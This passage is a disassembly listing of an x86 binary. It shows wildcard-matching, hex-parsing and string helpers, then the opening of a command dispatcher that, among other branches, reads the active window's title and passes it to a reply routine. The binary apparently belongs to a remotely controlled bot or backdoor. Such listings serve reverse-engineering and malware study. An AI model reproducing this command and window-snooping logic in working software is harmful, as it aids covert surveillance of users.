		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------


loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx


loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687


loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A


loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------


loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------


loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------


loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: MEW:0041AE78o
					; MEW:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8	; GetForegroundWindow
		push	eax
		call	dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
